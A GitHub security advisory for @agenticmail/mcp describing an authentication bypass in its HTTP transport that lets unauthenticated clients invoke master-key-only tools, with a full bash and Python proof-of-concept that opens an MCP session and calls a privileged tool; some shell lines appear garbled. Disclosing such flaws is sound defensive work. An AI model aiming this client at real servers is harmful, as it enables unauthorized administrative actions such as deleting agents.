GitHub Advisoryadvisory · npm
GHSA-63gr-g7jc-v8rg @agenticmail/mcp Missing Authentication for Critical Function
HIGH
Official page ↗
- Aliases
- CVE-2026-50287
- Ecosystem
- npm
- Packages
- @agenticmail/mcp
- Severity
- High
- CVSS vector
- CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N
- Weaknesses
- CWE-306
- Reviewed
- 2026-06-01
Affected packages
• npm @agenticmail/mcp: < 0.9.27 → fixed in 0.9.27
Description
AgenticMail MCP HTTP authorization bypass
Summary
`@agenticmail/mcp` exposes a Streamable HTTP transport when started with
`--http` or `MCP_HTTP=1`. In that mode, the `/mcp` endpoint accepts requests
without any HTTP authentication layer. A remote client can initialize a
session and call tools directly.
The problem is that the MCP server also exposes tools documented as requiring
`AGENTICMAIL_MASTER_KEY`, and the server process forwards those calls using its
own configured master key. As a result, any client that can reach the MCP HTTP
port can invoke master-only operations without knowing the master key.
Impact
An unauthenticated network client can invoke master-key-only MCP tools through
the server, including administrative and gateway actions.
Confirmed with a read-only tool:
• `setup_guide`
The same path reaches higher-impact tools such as:
• `setup_email_relay`
• `setup_email_domain`
• `delete_agent`
• `cleanup_agents`
• `send_test_email`
Affected Code
• `packages/mcp/src/index.ts`
• `packages/mcp/src/tools.ts`
• `packages/mcp/README.md`
Relevant observations:
• `packages/mcp/src/index.ts` starts an HTTP server for `/mcp` without
checking an Authorization header.
• `packages/mcp/src/tools.ts` marks gateway/admin tools as master-key tools
and forwards them with the server-side `AGENTICMAIL_MASTER_KEY`.
• `packages/mcp/README.md` documents that gateway/admin tools require the
master key.
Reproduction
Use the bundled one-command PoC runner:
```bash
cd agenticmail
./scripts/run_agenticmail_mcp_http_unauth_poc.sh
```
Expected success output:
```text
[+] received mcp-session-id without authentication: ...
[+] tools/call(setup_guide) HTTP status: 200
[+] SUCCESS: unauthenticated HTTP client invoked MCP tool `setup_guide`
```
PoC Files
• scripts/run_agenticmail_mcp_http_unauth_poc.sh
• One-command wrapper that starts the API, starts MCP in HTTP mode, runs the
client PoC, and cleans up background processes.
• scripts/agenticmail_mcp_http_unauth_poc.py
• Unauthenticated MCP client that sends `initialize` and then calls
`setup_guide`.
Inline PoC
The following PoC is non-destructive. It calls `setup_guide`, which is
documented as a master-key tool but only returns setup guidance.
`scripts/run_agenticmail_mcp_http_unauth_poc.sh`
```bash
!/usr/bin/env bash
set -euo pipefail
REPO_DIR="."
POC="scripts/agenticmail_mcp_http_unauth_poc.py"
API_HOST="${API_HOST:-127.0.0.1}"
API_PORT="${API_PORT:-}"
MCP_PORT="${MCP_PORT:-}"
MASTER_KEY="${AGENTICMAIL_MASTER_KEY:-mk_path4_poc_master}"
DATA_DIR="${AGENTICMAIL_DATA_DIR:-.poc-data}"
LOG_DIR="${LOG_DIR:-.poc-logs}"
mkdir -p "$DATA_DIR" "$LOG_DIR"
node_major="$(node -p 'Number(process.versions.node.split(".")[0])' 2>/dev/null || echo 0)"
if (( node_major /dev/null || echo missing)" >&2
exit 2
fi
find_free_port() {
python3 - /dev/null || true
[[ -z "${api_pid:-}" ]] || kill "$api_pid" 2>/dev/null || true
}
trap cleanup EXIT
wait_tcp() {
local host="$1"
local port="$2"
local name="$3"
for _ in $(seq 1 60); do
if python3 - "$host" "$port" >/dev/null 2>&1 &2
return 1
}
cd "$REPO_DIR"
echo "[+] Starting AgenticMail API on $API_HOST:$API_PORT"
(
export AGENTICMAIL_API_HOST="$API_HOST"
export AGENTICMAIL_API_PORT="$API_PORT"
export AGENTICMAIL_MASTER_KEY="$MASTER_KEY"
export AGENTICMAIL_DATA_DIR="$DATA_DIR"
npm run dev:api
) >"$LOG_DIR/api.log" 2>&1 &
api_pid="$!"
wait_tcp "$API_HOST" "$API_PORT" "AgenticMail API"
echo "[+] Starting AgenticMail MCP HTTP server on port $MCP_PORT"
(
export AGENTICMAIL_API_URL="http://$API_HOST:$API_PORT"
export AGENTICMAIL_MASTER_KEY="$MASTER_KEY"
export AGENTICMAIL_DATA_DIR="$DATA_DIR"
npm --workspace=@agenticmail/mcp run dev -- --http "--port=$MCP_PORT"
) >"$LOG_DIR/mcp.log" 2>&1 &
mcp_pid="$!"
wait_tcp "127.0.0.1" "$MCP_PORT" "AgenticMail MCP HTTP server"
echo "[+] Running unauthenticated MCP client PoC"
python3 "$POC" --url "http://127.0.0.1:$MCP_PORT/mcp"
```
`scripts/agenticmail_mcp_http_unauth_poc.py`
```python
!/usr/bin/env python3
from __future__ import annotations
import argparse
import json
import sys
import urllib.error
import urllib.request
def post_json(url: str, payload: dict, session_id: str | None = None) -> tuple[int, dict, str]:
data = json.dumps(payload).encode("utf-8")
headers = {
"Content-Type": "application/json",
"Accept": "application/json, text/event-stream",
}
if session_id:
headers["mcp-session-id"] = session_id
req = urllib.request.Request(url, data=data, headers=headers, method="POST")
try:
with urllib.request.urlopen(req, timeout=15) as resp:
body = resp.read().decode("utf-8", errors="replace")
return resp.status, dict(resp.headers), body
except urllib.error.HTTPError as exc:
body = exc.read().decode("utf-8", errors="replace")
return exc.code, dict(exc.headers), body
def parse_sse_or_json(body: str) -> list[dict]:
events: list[dict] = []
stripped = body.strip()
if not stripped:
return events
if stripped.startswith("{") or stripped.startswith("["):
parsed = json.loads(stripped)
return parsed if isinstance(parsed, list) else [parsed]
for line in body.splitlines():
if not line.startswith("data:"):
continue
data = line[len("data:") :].strip()
if not data:
continue
try:
events.append(json.loads(data))
except json.JSONDecodeError:
pass
return events
def main() -> int:
parser = argparse.ArgumentParser()
parser.add_argument("--url", default="http://127.0.0.1:8014/mcp")
parser.add_argument("--tool", default="setup_guide")
args = parser.parse_args()
init_payload = {
"jsonrpc": "2.0",
"id": 1,
"method": "initialize",
"params": {
"protocolVersion": "2025-03-26",
"capabilities": {},
"clientInfo": {"name": "agenticmail-unauth-poc", "version": "0.1"},
},
}
status, headers, body = post_json(args.url, init_payload)
print(f"[+] initialize HTTP status: {status}")
print(f"[+] initialize response body: {body[:500]}")
session_id = headers.get("mcp-session-id") or headers.get("Mcp-Session-Id")
if not session_id:
print("[-] No mcp-session-id header returned")
return 2
print(f"[+] received mcp-session-id without authentication: {session_id}")
post_json(args.url, {
"jsonrpc": "2.0",
"method": "notifications/initialized",
"params": {},
}, session_id=session_id)
status, _headers, body = post_json(args.url, {
"jsonrpc": "2.0",
"id": 2,
"method": "tools/call",
"params": {"name": args.tool, "arguments": {}},
}, session_id=session_id)
print(f"[+] tools/call({args.tool}) HTTP status: {status}")
print("[+] raw response:")
print(body)
if any("result" in msg for msg in parse_sse_or_json(body)):
print(f"[+] SUCCESS: unauthenticat…
Related
Alias · CVE (1)
- CVE-2026-50287 AgenticMail gives AI agents real email addresses and phone numbers. vulnerability
Weakness · CWE (1)
- CWE-306 Missing Authentication for Critical Functionality weakness
References
- https://github.com/agenticmail/agenticmail/security/advisories/GHSA-63gr-g7jc-v8rg web
- https://nvd.nist.gov/vuln/detail/CVE-2026-50287 advisory
- https://github.com/agenticmail/agenticmail/commit/7b9b05d973676e9f3d097c08b8e649f59bfc15d0 web
- https://github.com/agenticmail/agenticmail/commit/7d1791da7c8c8bd4e70d7081db48e18ab55f6736 web
- https://github.com/agenticmail/agenticmail package
- https://github.com/agenticmail/agenticmail/blob/7b9b05d973676e9f3d097c08b8e649f59bfc15d0/CHANGELOG.md?plain=1#L10 web
- https://github.com/agenticmail/agenticmail/blob/7b9b05d973676e9f3d097c08b8e649f59bfc15d0/packages/mcp/README.md?plain=1#L13 web
- https://github.com/agenticmail/agenticmail/blob/7b9b05d973676e9f3d097c08b8e649f59bfc15d0/packages/mcp/src/index.ts#L311 web